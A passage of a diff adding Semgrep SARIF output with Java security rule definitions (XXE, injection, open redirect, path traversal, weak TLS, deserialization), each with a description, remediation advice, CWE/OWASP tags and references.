+                            "name": "java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls."
+                            },
+                            "help": {
+                                "markdown": "Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n",
+                                "text": "Detected input from a HTTPServletRequest going into a session command, like `setAttribute`. User input into such a command could lead to an attacker inputting malicious code into your session parameters, blurring the line between what's trusted and untrusted, and therefore leading to a trust boundary violation. This could lead to programmers trusting unvalidated data. Instead, thoroughly sanitize user input before passing it into such function calls.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request",
+                            "id": "java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request",
+                            "name": "java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-501: Trust Boundary Violation",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A04:2021 - Insecure Design",
+                                    "OWASP-A06:2025 - Insecure Design",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.tainted-session-from-http-request.tainted-session-from-http-request"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."
+                            },
+                            "help": {
+                                "markdown": "Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n",
+                                "text": "Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request",
+                            "id": "java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request",
+                            "name": "java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."
+                            },
+                            "help": {
+                                "markdown": "Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n",
+                                "text": "Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect",
+                            "id": "java.lang.security.audit.unvalidated-redirect.unvalidated-redirect",
+                            "name": "java.lang.security.audit.unvalidated-redirect.unvalidated-redirect",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-601: URL Redirection to Untrusted Site ('Open Redirect')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2021 - Broken Access Control",
+                                    "OWASP-A01:2025 - Broken Access Control",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.unvalidated-redirect.unvalidated-redirect"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security."
+                            },
+                            "help": {
+                                "markdown": "An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n",
+                                "text": "An insecure SSL context was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use SSLContext.getInstance(\"TLSv1.2\") for the best security.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.weak-ssl-context.weak-ssl-context",
+                            "id": "java.lang.security.audit.weak-ssl-context.weak-ssl-context",
+                            "name": "java.lang.security.audit.weak-ssl-context.weak-ssl-context",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-326: Inadequate Encryption Strength",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.weak-ssl-context.weak-ssl-context"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views."
+                            },
+                            "help": {
+                                "markdown": "Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer)\n - [https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html](https://www3.ntu.edu.sg/home/ehchua/programming/java/JavaServerFaces.html)\n",
+                                "text": "Detected a request with potential user-input going into a OutputStream or Writer object. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as JavaServer Faces (JSFs) which automatically escapes HTML views.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer",
+                            "id": "java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer",
+                            "name": "java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "OWASP-A07:2017 - Cross-Site Scripting (XSS)",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.xss.no-direct-response-writer.no-direct-response-writer"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."
+                            },
+                            "help": {
+                                "markdown": "DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n",
+                                "text": "DOCTYPE declarations are enabled for $DBFACTORY. Without prohibiting external entity declarations, this is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false",
+                            "id": "java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false",
+                            "name": "java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-611: Improper Restriction of XML External Entity Reference",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2025 - Security Misconfiguration",
+                                    "OWASP-A04:2017 - XML External Entities (XXE)",
+                                    "OWASP-A05:2021 - Security Misconfiguration",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-false.documentbuilderfactory-disallow-doctype-decl-false"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."
+                            },
+                            "help": {
+                                "markdown": "DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n",
+                                "text": "DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing",
+                            "id": "java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing",
+                            "name": "java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-611: Improper Restriction of XML External Entity Reference",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2025 - Security Misconfiguration",
+                                    "OWASP-A04:2017 - XML External Entities (XXE)",
+                                    "OWASP-A05:2021 - Security Misconfiguration",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."
+                            },
+                            "help": {
+                                "markdown": "External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n",
+                                "text": "External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true",
+                            "id": "java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true",
+                            "name": "java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-611: Improper Restriction of XML External Entity Reference",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2025 - Security Misconfiguration",
+                                    "OWASP-A04:2017 - XML External Entities (XXE)",
+                                    "OWASP-A05:2021 - Security Misconfiguration",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false."
+                            },
+                            "help": {
+                                "markdown": "External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n",
+                                "text": "External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-parameter-entities\" to false.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true",
+                            "id": "java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true",
+                            "name": "java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-611: Improper Restriction of XML External Entity Reference",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2025 - Security Misconfiguration",
+                                    "OWASP-A04:2017 - XML External Entities (XXE)",
+                                    "OWASP-A05:2021 - Security Misconfiguration",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-parameter-entities-true.documentbuilderfactory-external-parameter-entities-true"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."
+                            },
+                            "help": {
+                                "markdown": "DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n",
+                                "text": "DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing",
+                            "id": "java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing",
+                            "name": "java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-611: Improper Restriction of XML External Entity Reference",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2025 - Security Misconfiguration",
+                                    "OWASP-A04:2017 - XML External Entities (XXE)",
+                                    "OWASP-A05:2021 - Security Misconfiguration",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."
+                            },
+                            "help": {
+                                "markdown": "DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\".\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n",
+                                "text": "DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\".\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled",
+                            "id": "java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled",
+                            "name": "java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-611: Improper Restriction of XML External Entity Reference",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2025 - Security Misconfiguration",
+                                    "OWASP-A04:2017 - XML External Entities (XXE)",
+                                    "OWASP-A05:2021 - Security Misconfiguration",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."
+                            },
+                            "help": {
+                                "markdown": "Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n",
+                                "text": "Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal",
+                            "id": "java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal",
+                            "name": "java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2021 - Broken Access Control",
+                                    "OWASP-A01:2025 - Broken Access Control",
+                                    "OWASP-A05:2017 - Broken Access Control",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.httpservlet-path-traversal.httpservlet-path-traversal"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "JMS Object messages depend on Java Serialization for marshalling/unmarshalling of the message payload when ObjectMessage.getObject() is called. Deserialization of untrusted data can lead to security flaws; a remote attacker could via a crafted JMS ObjectMessage to execute arbitrary code with the permissions of the application listening/consuming JMS Messages. In this case, the JMS MessageListener consume an ObjectMessage type received inside the onMessage method, which may lead to arbitrary code execution when calling the $Y.getObject method."
+                            },
+                            "help": {
